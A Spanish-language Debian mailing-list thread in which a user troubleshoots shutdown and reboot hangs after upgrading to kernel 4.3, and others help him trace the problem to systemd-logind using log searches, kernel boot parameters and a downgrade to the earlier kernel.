http://linuxcounter.net
Fono +56 9 54012831
http://www.luchox.cl

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Tue, 29 Dec 2015 00:33:51 +0100, Eduardo Rios escribió:

> He vuelto a repetir una prueba que hice hace unos días, y por fin he
> podido ver un mensaje que puede resultar de ayuda para saber que pasa.
> 
> Estando en sesión gráfica, he pulsado CTRL+Alt+F2 para abrir una
> consola. He iniciado sesión como root en ella y he cambiado a la consola
> 1 (CTRL+Alt+F1) para ver si podía ver errores.
> 
> No veía nada, así que he mantenido pulsada CTRL+Alt+Supr hasta que he
> visto que los servicios se iban cerrando sin errores, hasta que se ha
> detenido en el siguiente mensaje de error:
> 
> INFO: task systemd-logind: 724 blocked for more than 120 seconds.
> Not tainted 4.3.0-1-amd64 #1
> 
> "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this
> message.

Pues ese mensaje que ves tiene el formato de un kernel OOPS. Mira a ver 
si te aparece algo en el syslog ("zgrep -i logind /var/log/syslog*" y 
también "zgrep -i blocked /var/log/*").

> Y cada cierto tiempo (calculo minuto y medio) volvía a aparecer ese
> mensaje una y otra vez...

Parece que no eres el único con ese problema, en Reddit un usuario 
comenta una situación muy parecida aunque con Archlinux:

[Arch] systemd-logind hangs on shutdown
https://www.reddit.com/r/linuxquestions/comments/3si6de/arch_systemdlogind_hangs_on_shutdown/

Saludos,

-- 
Camaleón

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Sun, 27 Dec 2015 20:29:11 +0100, Eduardo Rios escribió:

> El 27/12/15 a las 17:52, Camaleón escribió:
> 
>> No, no me has entendido pero ya veo que has respondido en otro correo
>> que al cerrar la sesión sí apaga correctamente luego todo parece
>> indicar que el problema está con el servicio de gestión de sesiones
>> (systemd-logind),
>> pero como te digo, a mí no me sucede.
> 
> No te sucede porque no usas systemd ¿no?

Uso systemd donde tengo GNOME, qué remedio :-(
 
(...)

>> https://wiki.archlinux.org/index.php/Systemd#Shutdown.2Freboot_takes_terribly_long
>>
>>
>>
> He leído la web y he ejecutado las órdenes (dentro de un terminal en la
> sesión gráfica):
> 
> sync && reboot -f sync && poweroff -f
> 
> Y el equipo se reinicia / apaga a toda leche, por lo que se descarta
> problema del kernel, así que como dices, debe ser problema de systemd.

Junto con logind, seguramente.

> Mi caso es como dicen en la Web, que nunca finaliza el apagado, pero no
> me queda claro que hacer, porque dicen que el log de debug shell no
> sirve... o no me entero...

Dice que el intérprete de órdenes está disponible no sólo al iniciar el 
sistema sino también al apagar/reiniciar pero no sé qué quiere que hagamos
exactamente con una consola de depuración, no sé a qué se refiere.

Prueba con los pasos que indican en "Shutdown Completes Eventually", 
quizá encuentres algo que te dé alguna pista en el registro que se genere.

Saludos,

-- 
Camaleón

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Sun, 27 Dec 2015 21:23:56 +0100, Eduardo Rios escribió:

> El 27/12/15 a las 17:52, Camaleón escribió:

(...)

>>> ¿Que registro o fichero debería mirar para poder hacerme una idea?
>>
>> (...)
>>
>> Pues es que con systemd no tengo trato, vamos, que apenas lo uso (sigo
>> con wheezy + sysvinit). Sigue los pasos para depurar problemas con
>> servicios rebeldes de la wiki de Archlinux que suelen tener las cosas
>> bien puestas y actualizadas:
>>
>> https://wiki.archlinux.org/index.php/
Systemd#Shutdown.2Freboot_takes_terribly_long
>>
> Lo más curioso es que si ejecuto:
> 
> systemctl status systemd-logind dice:
> 
> systemd-logind.service - Login Service
> Loaded: loaded (/lib/systemd/system/systemd-logind.service; static;
> vendor preset: enabled)
> Active: active (running) since dom 2015-12-27 20:49:46 CET; 29min
> ago
>   Docs: man:systemd-logind.service(8)
> man:logind.conf(5)
> http://www.freedesktop.org/wiki/Software/systemd/logind
> http://www.freedesktop.org/wiki/Software/systemd/multiseat
>   Main PID: 735 (systemd-logind)
> Status: "Processing requests..."
> CGroup: /system.slice/systemd-logind.service
> └─735 /lib/systemd/systemd-logind
> 
> dic 27 20:49:40 debian systemd[1]: Starting Login Service...
> dic 27 20:49:46 debian systemd-logind[735]: New seat seat0.
> dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on
> /dev/input/event5 (Power Button)
> dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on
> /dev/input/event14 (Video Bus)
> dic 27 20:49:46 debian systemd[1]: Started Login Service.

(...)

> No informa de ningún error, pero creo que es este el que provoca el
> fallo.

No informa de errores porque se inicia bien, el problema parece que lo 
tienes al cerrar el servicio cuando recibe la orden de reiniciar/apagar.

Desde una sesión gráfica, abre una consola y desde tu usuario 
convencional prueba con "systemctl reboot". Por cierto, ¿has probado a 
crear un nuevo usuario e intentar reiniciar/apagar desde ahí? :-?

Saludos,

-- 
Camaleón

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 28/12/15 a las 15:33, Camaleón escribió:

El Sun, 27 Dec 2015 21:23:56 +0100, Eduardo Rios escribió:


El 27/12/15 a las 17:52, Camaleón escribió:


(...)


¿Que registro o fichero debería mirar para poder hacerme una idea?


(...)

Pues es que con systemd no tengo trato, vamos, que apenas lo uso (sigo
con wheezy + sysvinit). Sigue los pasos para depurar problemas con
servicios rebeldes de la wiki de Archlinux que suelen tener las cosas
bien puestas y actualizadas:

https://wiki.archlinux.org/index.php/

Systemd#Shutdown.2Freboot_takes_terribly_long



Lo más curioso es que si ejecuto:

systemctl status systemd-logind dice:

systemd-logind.service - Login Service
 Loaded: loaded (/lib/systemd/system/systemd-logind.service; static;
vendor preset: enabled)
 Active: active (running) since dom 2015-12-27 20:49:46 CET; 29min
 ago
   Docs: man:systemd-logind.service(8)
 man:logind.conf(5)
 http://www.freedesktop.org/wiki/Software/systemd/logind
 http://www.freedesktop.org/wiki/Software/systemd/multiseat
   Main PID: 735 (systemd-logind)
 Status: "Processing requests..."
 CGroup: /system.slice/systemd-logind.service
 └─735 /lib/systemd/systemd-logind

dic 27 20:49:40 debian systemd[1]: Starting Login Service...
dic 27 20:49:46 debian systemd-logind[735]: New seat seat0.
dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on
/dev/input/event5 (Power Button)
dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on
/dev/input/event14 (Video Bus)
dic 27 20:49:46 debian systemd[1]: Started Login Service.


(...)


No informa de ningún error, pero creo que es este el que provoca el
fallo.


No informa de errores porque se inicia bien, el problema parece que lo
tienes al cerrar el servicio cuando recibe la orden de reiniciar/apagar.

Desde una sesión gráfica, abre una consola y desde tu usuario
convencional prueba con "systemctl reboot".


Se cuelga igualmente...


Por cierto, ¿has probado a
crear un nuevo usuario e intentar reiniciar/apagar desde ahí? :-?


No había probado, pero lo he hecho y también se cuelga con el nuevo usuario.


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 28/12/15 a las 16:50, Eduardo Rios escribió:

El 28/12/15 a las 15:24, Camaleón escribió:

El Sun, 27 Dec 2015 20:29:11 +0100, Eduardo Rios escribió:


El 27/12/15 a las 17:52, Camaleón escribió:


No, no me has entendido pero ya veo que has respondido en otro correo
que al cerrar la sesión sí apaga correctamente luego todo parece
indicar que el problema está con el servicio de gestión de sesiones
(systemd-logind),
pero como te digo, a mí no me sucede.


No te sucede porque no usas systemd ¿no?


Uso systemd donde tengo GNOME, qué remedio :-(

(...)


https://wiki.archlinux.org/index.php/Systemd#Shutdown.2Freboot_takes_terribly_long





He leído la web y he ejecutado las órdenes (dentro de un terminal en la
sesión gráfica):

sync && reboot -f sync && poweroff -f

Y el equipo se reinicia / apaga a toda leche, por lo que se descarta
problema del kernel, así que como dices, debe ser problema de systemd.


Junto con logind, seguramente.


Mi caso es como dicen en la Web, que nunca finaliza el apagado, pero no
me queda claro que hacer, porque dicen que el log de debug shell no
sirve... o no me entero...


Dice que el intérprete de órdenes está disponible no sólo al iniciar el
sistema sino también al apagar/reiniciar pero no sé qué quiere que
hagamos
exactamente con una consola de depuración, no sé a qué se refiere.

Prueba con los pasos que indican en "Shutdown Completes Eventually",
quizá encuentres algo que te dé alguna pista en el registro que se
genere.


Voy a ver si me aclaro para seguir los pasos. Si consigo algo, lo
comparto a ver si sacamos algo en claro :)


Pues mal empiezo, no sé donde tengo que poner las ordenes:

systemd.log_level=debug systemd.log_target=kmsg log_buf_len=1M enforcing=0



--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Mon, 28 Dec 2015 16:57:41 +0100, Eduardo Rios escribió:

> El 28/12/15 a las 16:50, Eduardo Rios escribió:
>> El 28/12/15 a las 15:24, Camaleón escribió:

(...)

>>> Prueba con los pasos que indican en "Shutdown Completes Eventually",
>>> quizá encuentres algo que te dé alguna pista en el registro que se
>>> genere.
>>
>> Voy a ver si me aclaro para seguir los pasos. Si consigo algo, lo
>> comparto a ver si sacamos algo en claro :)
> 
> Pues mal empiezo, no sé donde tengo que poner las ordenes:
> 
> systemd.log_level=debug systemd.log_target=kmsg log_buf_len=1M
> enforcing=0

Vale, eso tienes que pasarlo al kernel como parámetros desde el menú de 
GRUB2, entrando en el modo de edición pulsando la tecla "e" y añadiendo 
toda esa morcilla al final de la línea del kernel, es decir:

/boot/vmlinuz-3.2.0-4-amd64 root=UUID=c5a9c818-ca78-41bb-9583-ac396b4b0f10 ro 
quiet systemd.log_level=debug systemd.log_target=kmsg log_buf_len=1M enforcing=0

^^

Pero antes hay que crear el script en la ruta que indican y hacerlo 
ejecutable y reiniciar pasando esos parámetros al kernel.

Saludos,

-- 
Camaleón

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 28/12/15 a las 15:24, Camaleón escribió:

El Sun, 27 Dec 2015 20:29:11 +0100, Eduardo Rios escribió:


El 27/12/15 a las 17:52, Camaleón escribió:


No, no me has entendido pero ya veo que has respondido en otro correo
que al cerrar la sesión sí apaga correctamente luego todo parece
indicar que el problema está con el servicio de gestión de sesiones
(systemd-logind),
pero como te digo, a mí no me sucede.


No te sucede porque no usas systemd ¿no?


Uso systemd donde tengo GNOME, qué remedio :-(

(...)


https://wiki.archlinux.org/index.php/Systemd#Shutdown.2Freboot_takes_terribly_long




He leído la web y he ejecutado las órdenes (dentro de un terminal en la
sesión gráfica):

sync && reboot -f sync && poweroff -f

Y el equipo se reinicia / apaga a toda leche, por lo que se descarta
problema del kernel, así que como dices, debe ser problema de systemd.


Junto con logind, seguramente.


Mi caso es como dicen en la Web, que nunca finaliza el apagado, pero no
me queda claro que hacer, porque dicen que el log de debug shell no
sirve... o no me entero...


Dice que el intérprete de órdenes está disponible no sólo al iniciar el
sistema sino también al apagar/reiniciar pero no sé qué quiere que hagamos
exactamente con una consola de depuración, no sé a qué se refiere.

Prueba con los pasos que indican en "Shutdown Completes Eventually",
quizá encuentres algo que te dé alguna pista en el registro que se genere.


Voy a ver si me aclaro para seguir los pasos. Si consigo algo, lo 
comparto a ver si sacamos algo en claro :)




Saludos,




--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 28/12/15 a las 20:35, Eduardo Rios escribió:

El 28/12/15 a las 20:08, Eduardo Rios escribió:

El 28/12/15 a las 17:11, Camaleón escribió:



Prueba con los pasos que indican en "Shutdown Completes Eventually",
quizá encuentres algo que te dé alguna pista en el registro que se
genere.





Bueno, pues comento resultados. No ha hecho nada, ni veo fichero alguno
llamado shutdown-log.txt en la carpeta raíz ni por ninguna parte.

Puedo añadir que no existía la carpeta system-shutdown dentro de
/usr/lib/systemd, por lo que la he creado yo y he metido dentro el
fichero debug.sh comprobando que tiene permisos de ejecución, pero nada:


No he dicho nada. Error mío en el contenido del fichero debug.sh
Ya tengo el fichero /shutdown-log.txt, pero todo el contenido que
aparece (muy muy largo) es desde el arranque. Del apagado no hay nada.




He hecho más pruebas y creo que el fichero de log se creó porque yo 
ejecuté el debug.sh para probar, pero directamente con la orden de 
arranque de debug no hace nada, ni crea el fichero .txt


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 28/12/15 a las 17:11, Camaleón escribió:

El Mon, 28 Dec 2015 16:57:41 +0100, Eduardo Rios escribió:


El 28/12/15 a las 16:50, Eduardo Rios escribió:

El 28/12/15 a las 15:24, Camaleón escribió:


(...)


Prueba con los pasos que indican en "Shutdown Completes Eventually",
quizá encuentres algo que te dé alguna pista en el registro que se
genere.


Voy a ver si me aclaro para seguir los pasos. Si consigo algo, lo
comparto a ver si sacamos algo en claro :)


Pues mal empiezo, no sé donde tengo que poner las ordenes:

systemd.log_level=debug systemd.log_target=kmsg log_buf_len=1M
enforcing=0


Vale, eso tienes que pasarlo al kernel como parámetros desde el menú de
GRUB2, entrando en el modo de edición pulsando la tecla "e" y añadiendo
toda esa morcilla al final de la línea del kernel, es decir:

/boot/vmlinuz-3.2.0-4-amd64 root=UUID=c5a9c818-ca78-41bb-9583-ac396b4b0f10 ro 
quiet systemd.log_level=debug systemd.log_target=kmsg log_buf_len=1M enforcing=0

 ^^

Pero antes hay que crear el script en la ruta que indican y hacerlo
ejecutable y reiniciar pasando esos parámetros al kernel.

Saludos,



Bueno, pues comento resultados. No ha hecho nada, ni veo fichero alguno 
llamado shutdown-log.txt en la carpeta raíz ni por ninguna parte.


Puedo añadir que no existía la carpeta system-shutdown dentro de 
/usr/lib/systemd, por lo que la he creado yo y he metido dentro el 
fichero debug.sh comprobando que tiene permisos de ejecución, pero nada:


root@debian:/home/edurios# ls -l /usr/lib/systemd/system-shutdown/debug.sh
-rwxr-xr-x 1 root root 80 dic 28 19:06 
/usr/lib/systemd/system-shutdown/debug.sh


root@debian:/home/edurios# cat 
/usr/lib/systemd/system-shutdown/debug.sh#!/bin/sh

mount -o remount,rw /
dmesg > /shutdown-log.txt
mount -o remount,ro /


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 28/12/15 a las 20:08, Eduardo Rios escribió:

El 28/12/15 a las 17:11, Camaleón escribió:



Prueba con los pasos que indican en "Shutdown Completes Eventually",
quizá encuentres algo que te dé alguna pista en el registro que se
genere.





Bueno, pues comento resultados. No ha hecho nada, ni veo fichero alguno
llamado shutdown-log.txt en la carpeta raíz ni por ninguna parte.

Puedo añadir que no existía la carpeta system-shutdown dentro de
/usr/lib/systemd, por lo que la he creado yo y he metido dentro el
fichero debug.sh comprobando que tiene permisos de ejecución, pero nada:


No he dicho nada. Error mío en el contenido del fichero debug.sh
Ya tengo el fichero /shutdown-log.txt, pero todo el contenido que 
aparece (muy muy largo) es desde el arranque. Del apagado no hay nada.



--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 28/12/15 a las 23:53, Eduardo Rios escribió:

El 28/12/15 a las 20:35, Eduardo Rios escribió:

El 28/12/15 a las 20:08, Eduardo Rios escribió:

El 28/12/15 a las 17:11, Camaleón escribió:



Prueba con los pasos que indican en "Shutdown Completes Eventually",
quizá encuentres algo que te dé alguna pista en el registro que se
genere.





Bueno, pues comento resultados. No ha hecho nada, ni veo fichero alguno
llamado shutdown-log.txt en la carpeta raíz ni por ninguna parte.

Puedo añadir que no existía la carpeta system-shutdown dentro de
/usr/lib/systemd, por lo que la he creado yo y he metido dentro el
fichero debug.sh comprobando que tiene permisos de ejecución, pero nada:


No he dicho nada. Error mío en el contenido del fichero debug.sh
Ya tengo el fichero /shutdown-log.txt, pero todo el contenido que
aparece (muy muy largo) es desde el arranque. Del apagado no hay nada.




He hecho más pruebas y creo que el fichero de log se creó porque yo
ejecuté el debug.sh para probar, pero directamente con la orden de
arranque de debug no hace nada, ni crea el fichero .txt



He vuelto a repetir una prueba que hice hace unos días, y por fin he 
podido ver un mensaje que puede resultar de ayuda para saber que pasa.


Estando en sesión gráfica, he pulsado CTRL+Alt+F2 para abrir una 
consola. He iniciado sesión como root en ella y he cambiado a la consola 
1 (CTRL+Alt+F1) para ver si podía ver errores.


No veía nada, así que he mantenido pulsada CTRL+Alt+Supr hasta que he 
visto que los servicios se iban cerrando sin errores, hasta que se ha 
detenido en el siguiente mensaje de error:


INFO: task systemd-logind: 724 blocked for more than 120 seconds.
Not tainted 4.3.0-1-amd64 #1

"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.

Y cada cierto tiempo (calculo minuto y medio) volvía a aparecer ese 
mensaje una y otra vez...




--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Wed, 23 Dec 2015 19:50:35 +0100, Eduardo Rios escribió:

> El 23/12/15 a las 19:27, Camaleón escribió:

(...)

>>> Arrancando con el kernel en recovery mode, sin que se ejecute el
>>> entorno gráfico (GNOME 3), apaga sin problemas. Si ejecuto el entorno
>>> gráfico,
>>> falla.
>>
>> Hum... curioso. Entonces ya no se trata sólo del kernel. Inicia
>> normalmente con una sesión gráfica, ciérrala y apaga desde ahí.
> 
> Nada, con sesión gráfica, y kernel 4.3, se queda colgado. No completa el
> apagado o reinicio, y no llego a ver que proceso es el que lo impide...

No, no me has entendido pero ya veo que has respondido en otro correo que al 
cerrar la sesión sí apaga correctamente luego todo parece indicar que el 
problema está con el servicio de gestión de sesiones (systemd-logind), 
pero como te digo, a mí no me sucede.

> ¿Que registro o fichero debería mirar para poder hacerme una idea?

(...)

Pues es que con systemd no tengo trato, vamos, que apenas lo uso (sigo 
con wheezy + sysvinit). Sigue los pasos para depurar problemas con 
servicios rebeldes de la wiki de Archlinux que suelen tener las cosas 
bien puestas y actualizadas:

https://wiki.archlinux.org/index.php/Systemd#Shutdown.2Freboot_takes_terribly_long

Saludos,

-- 
Camaleón

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 27/12/15 a las 17:52, Camaleón escribió:


No, no me has entendido pero ya veo que has respondido en otro correo que al
cerrar la sesión sí apaga correctamente luego todo parece indicar que el
problema está con el servicio de gestión de sesiones (systemd-logind),
pero como te digo, a mí no me sucede.


No te sucede porque no usas systemd ¿no?




¿Que registro o fichero debería mirar para poder hacerme una idea?


(...)

Pues es que con systemd no tengo trato, vamos, que apenas lo uso (sigo
con wheezy + sysvinit). Sigue los pasos para depurar problemas con
servicios rebeldes de la wiki de Archlinux que suelen tener las cosas
bien puestas y actualizadas:

https://wiki.archlinux.org/index.php/Systemd#Shutdown.2Freboot_takes_terribly_long

Saludos,



He leído la web y he ejecutado las órdenes (dentro de un terminal en la 
sesión gráfica):


sync && reboot -f
sync && poweroff -f

Y el equipo se reinicia / apaga a toda leche, por lo que se descarta 
problema del kernel, así que como dices, debe ser problema de systemd.


Mi caso es como dicen en la Web, que nunca finaliza el apagado, pero no 
me queda claro que hacer, porque dicen que el log de debug shell no 
sirve... o no me entero...


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 27/12/15 a las 17:52, Camaleón escribió:

El Wed, 23 Dec 2015 19:50:35 +0100, Eduardo Rios escribió:


El 23/12/15 a las 19:27, Camaleón escribió:


(...)


Arrancando con el kernel en recovery mode, sin que se ejecute el
entorno gráfico (GNOME 3), apaga sin problemas. Si ejecuto el entorno
gráfico,
falla.


Hum... curioso. Entonces ya no se trata sólo del kernel. Inicia
normalmente con una sesión gráfica, ciérrala y apaga desde ahí.


Nada, con sesión gráfica, y kernel 4.3, se queda colgado. No completa el
apagado o reinicio, y no llego a ver que proceso es el que lo impide...


No, no me has entendido pero ya veo que has respondido en otro correo que al
cerrar la sesión sí apaga correctamente luego todo parece indicar que el
problema está con el servicio de gestión de sesiones (systemd-logind),
pero como te digo, a mí no me sucede.


¿Que registro o fichero debería mirar para poder hacerme una idea?


(...)

Pues es que con systemd no tengo trato, vamos, que apenas lo uso (sigo
con wheezy + sysvinit). Sigue los pasos para depurar problemas con
servicios rebeldes de la wiki de Archlinux que suelen tener las cosas
bien puestas y actualizadas:

https://wiki.archlinux.org/index.php/Systemd#Shutdown.2Freboot_takes_terribly_long

Saludos,



Lo más curioso es que si ejecuto:

systemctl status systemd-logind dice:

systemd-logind.service - Login Service
   Loaded: loaded (/lib/systemd/system/systemd-logind.service; static; 
vendor preset: enabled)

   Active: active (running) since dom 2015-12-27 20:49:46 CET; 29min ago
 Docs: man:systemd-logind.service(8)
   man:logind.conf(5)
   http://www.freedesktop.org/wiki/Software/systemd/logind
   http://www.freedesktop.org/wiki/Software/systemd/multiseat
 Main PID: 735 (systemd-logind)
   Status: "Processing requests..."
   CGroup: /system.slice/systemd-logind.service
   └─735 /lib/systemd/systemd-logind

dic 27 20:49:40 debian systemd[1]: Starting Login Service...
dic 27 20:49:46 debian systemd-logind[735]: New seat seat0.
dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on 
/dev/input/event5 (Power Button)
dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on 
/dev/input/event14 (Video Bus)

dic 27 20:49:46 debian systemd[1]: Started Login Service.
dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on 
/dev/input/event3 (Lid Switch)
dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on 
/dev/input/event13 (Video Bus)
dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on 
/dev/input/event4 (Power Button)
dic 27 20:49:46 debian systemd-logind[735]: Watching system buttons on 
/dev/input/event12 (HP WMI hotkeys)

dic 27 20:49:50 debian systemd-logind[735]: New session 1 of user edurios.


No informa de ningún error, pero creo que es este el que provoca el fallo.


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Jose Maldonado]

El 24/12/15 a las 07:53, Eduardo Rios escribió:
> 
> Yo tengo una Intel HD3000 y creo que no estoy teniendo problemas con
> eso. La verdad es que no se que es VDPAU, pero vamos, la pantalla me va :-P
> 
> 
> El unico problema que he detectado, es ese, que tengo que cerrar la
> sesión de usuario antes de apagar o reiniciar el equipo para no tener
> problemas.
> 

El VDPAU es aceleración de vídeo por hardware, VDPAU o VAAPI, cualquiera
de las dos me da problema con el kernel 4.3, mientras que el kernel
4.1.12 compilado con las mismas opciones me va fenomenal, sin detalles.

Pensé que era cuestión de BFQ pero incluso cambiándolo, 4.3 me da
rollos. Para mi 4.3 es de esos kernels problemáticos que salen cada
cierto tiempo, algún detalle nuevo estará pasando que está dando tanto
rollo, posiblemente relacionado con cgroups, algún cambio en el SMP o en
el DRM, en mi caso de las Intel. Como sea estoy evitando de momento usar
ese kernel.

-- 
Dios en su Cielo, todo bien en la Tierra

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 24/12/15 a las 02:50, Jose Maldonado escribió:

El 23/12/15 a las 11:07, Eduardo Rios escribió:


Aviso por si acaso.

Los que tengáis Debian testing con kernel 4.2, si actualizáis al
kernel 4.3, tened la precaución de no desinstalar la versión
anterior demasiado pronto.

Ahora, con el kernel 4.3 no consigo apagar o reiniciar el equipo.
Se queda un proceso cerrandose, que no consigo saber cual es, con
una cuenta de un minuto y medio hacia atrás, y conforme acaba,
sigue añadiendo tiempo...

Me parece que tiene que ver con login.

Yo ahora no puedo volver al kernel anterior, a no ser que coja el
3.16 de Jessie o el 4.20 de los backports de Jessie, pero no el de
Stretch.

e>>


El kernel 4.3 tiene unos fallos bien extraños, en mi PC al menos,
compilarlo me deja sin poder usar VDPAU y otras extensiones de mi
gráfica Intel HD.



Yo tengo una Intel HD3000 y creo que no estoy teniendo problemas con 
eso. La verdad es que no se que es VDPAU, pero vamos, la pantalla me va :-P



El unico problema que he detectado, es ese, que tengo que cerrar la 
sesión de usuario antes de apagar o reiniciar el equipo para no tener 
problemas.


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Wed, 23 Dec 2015 16:37:49 +0100, Eduardo Rios escribió:

> Aviso por si acaso.
> 
> Los que tengáis Debian testing con kernel 4.2, si actualizáis al kernel
> 4.3, tened la precaución de no desinstalar la versión anterior demasiado
> pronto.
> 
> Ahora, con el kernel 4.3 no consigo apagar o reiniciar el equipo. Se
> queda un proceso cerrandose, que no consigo saber cual es, con una
> cuenta de un minuto y medio hacia atrás, y conforme acaba, sigue
> añadiendo tiempo...
> 
> Me parece que tiene que ver con login.

Prueba a cerrar la sesión gráfica y reiniciar/apagar desde una consola.

> Yo ahora no puedo volver al kernel anterior, a no ser que coja el 3.16
> de Jessie o el 4.20 de los backports de Jessie, pero no el de Stretch.

¿Mande? :-?

Puedes instalar el kernel anterior como siempre, desde los paquetes de 
snapshot:

http://snapshot.debian.org/binary/linux-image-4.2.0-1-amd64/

Saludos,

-- 
Camaleón

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 23/12/15 a las 19:55, Luis E. Arevalo R. escribió:

El 23 de diciembre de 2015, 12:37, Eduardo Rios > escribió:

Aviso por si acaso.

Los que tengáis Debian testing con kernel 4.2, si actualizáis al
kernel 4.3, tened la precaución de no desinstalar la versión
anterior demasiado pronto.

Ahora, con el kernel 4.3 no consigo apagar o reiniciar el equipo. Se
queda un proceso cerrandose, que no consigo saber cual es, con una
cuenta de un minuto y medio hacia atrás, y conforme acaba, sigue
añadiendo tiempo...


Hummm, creo que no es el Kernel 4.3. A mí me está pasando desde hace
unos días, y recién hoy salió el nuevo kernel. No he reiniciado aún, y
tampoco he investigado mucho, pero de buenas a primeras diría que por el
Kernel no pasa la cosa.

¡Saludos!


Pues no sé que pensar... Si arranco el equipo con el kernel 4.20, se 
apaga correctamente desde entorno gráfico. Con kernel 4.3, me falla en 
todas las ocasiones.




--
Luis Eduardo Arevalo ReyesUser #354770
http://linuxcounter.net 
Fono +56 9 54012831 http://www.luchox.cl



--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 23/12/15 a las 17:07, Camaleón escribió:

El Wed, 23 Dec 2015 16:37:49 +0100, Eduardo Rios escribió:


Aviso por si acaso.

Los que tengáis Debian testing con kernel 4.2, si actualizáis al kernel
4.3, tened la precaución de no desinstalar la versión anterior demasiado
pronto.

Ahora, con el kernel 4.3 no consigo apagar o reiniciar el equipo. Se
queda un proceso cerrandose, que no consigo saber cual es, con una
cuenta de un minuto y medio hacia atrás, y conforme acaba, sigue
añadiendo tiempo...

Me parece que tiene que ver con login.


Prueba a cerrar la sesión gráfica y reiniciar/apagar desde una consola.


Arrancando con el kernel en recovery mode, sin que se ejecute el entorno 
gráfico (GNOME 3), apaga sin problemas. Si ejecuto el entorno gráfico, 
falla.





Yo ahora no puedo volver al kernel anterior, a no ser que coja el 3.16
de Jessie o el 4.20 de los backports de Jessie, pero no el de Stretch.


¿Mande? :-?

Puedes instalar el kernel anterior como siempre, desde los paquetes de
snapshot:

http://snapshot.debian.org/binary/linux-image-4.2.0-1-amd64/


Tengo la sensación de que esto ya me lo has dicho más de una vez... y 
siempre se me olvida esta posibilidad...


Gracias, ya lo he instalado, y efectivamente, con este kernel todo 
vuelve a funcionar correctamente.


Algo hay en el kernel 4.3 que no le gusta a GNOME :-P

--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Luis E. Arevalo R.]

El 23 de diciembre de 2015, 12:37, Eduardo Rios 
escribió:

> Aviso por si acaso.
>
> Los que tengáis Debian testing con kernel 4.2, si actualizáis al kernel
> 4.3, tened la precaución de no desinstalar la versión anterior demasiado
> pronto.
>
> Ahora, con el kernel 4.3 no consigo apagar o reiniciar el equipo. Se queda
> un proceso cerrandose, que no consigo saber cual es, con una cuenta de un
> minuto y medio hacia atrás, y conforme acaba, sigue añadiendo tiempo...
>

Hummm, creo que no es el Kernel 4.3. A mí me está pasando desde hace unos
días, y recién hoy salió el nuevo kernel. No he reiniciado aún, y tampoco
he investigado mucho, pero de buenas a primeras diría que por el Kernel no
pasa la cosa.

¡Saludos!

-- 
Luis Eduardo Arevalo ReyesUser #354770
http://linuxcounter.net
Fono +56 9 54012831
http://www.luchox.cl

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 23/12/15 a las 19:27, Camaleón escribió:

El Wed, 23 Dec 2015 18:57:23 +0100, Eduardo Rios escribió:


El 23/12/15 a las 17:07, Camaleón escribió:


(...)


Ahora, con el kernel 4.3 no consigo apagar o reiniciar el equipo. Se
queda un proceso cerrandose, que no consigo saber cual es, con una
cuenta de un minuto y medio hacia atrás, y conforme acaba, sigue
añadiendo tiempo...

Me parece que tiene que ver con login.


Prueba a cerrar la sesión gráfica y reiniciar/apagar desde una consola.


Arrancando con el kernel en recovery mode, sin que se ejecute el entorno
gráfico (GNOME 3), apaga sin problemas. Si ejecuto el entorno gráfico,
falla.


Hum... curioso. Entonces ya no se trata sólo del kernel. Inicia
normalmente con una sesión gráfica, ciérrala y apaga desde ahí.


Nada, con sesión gráfica, y kernel 4.3, se queda colgado. No completa el 
apagado o reinicio, y no llego a ver que proceso es el que lo impide...


¿Que registro o fichero debería mirar para poder hacerme una idea?




Yo ahora no puedo volver al kernel anterior, a no ser que coja el 3.16
de Jessie o el 4.20 de los backports de Jessie, pero no el de Stretch.


¿Mande? :-?

Puedes instalar el kernel anterior como siempre, desde los paquetes de
snapshot:

http://snapshot.debian.org/binary/linux-image-4.2.0-1-amd64/


Tengo la sensación de que esto ya me lo has dicho más de una vez... y
siempre se me olvida esta posibilidad...

Gracias, ya lo he instalado, y efectivamente, con este kernel todo
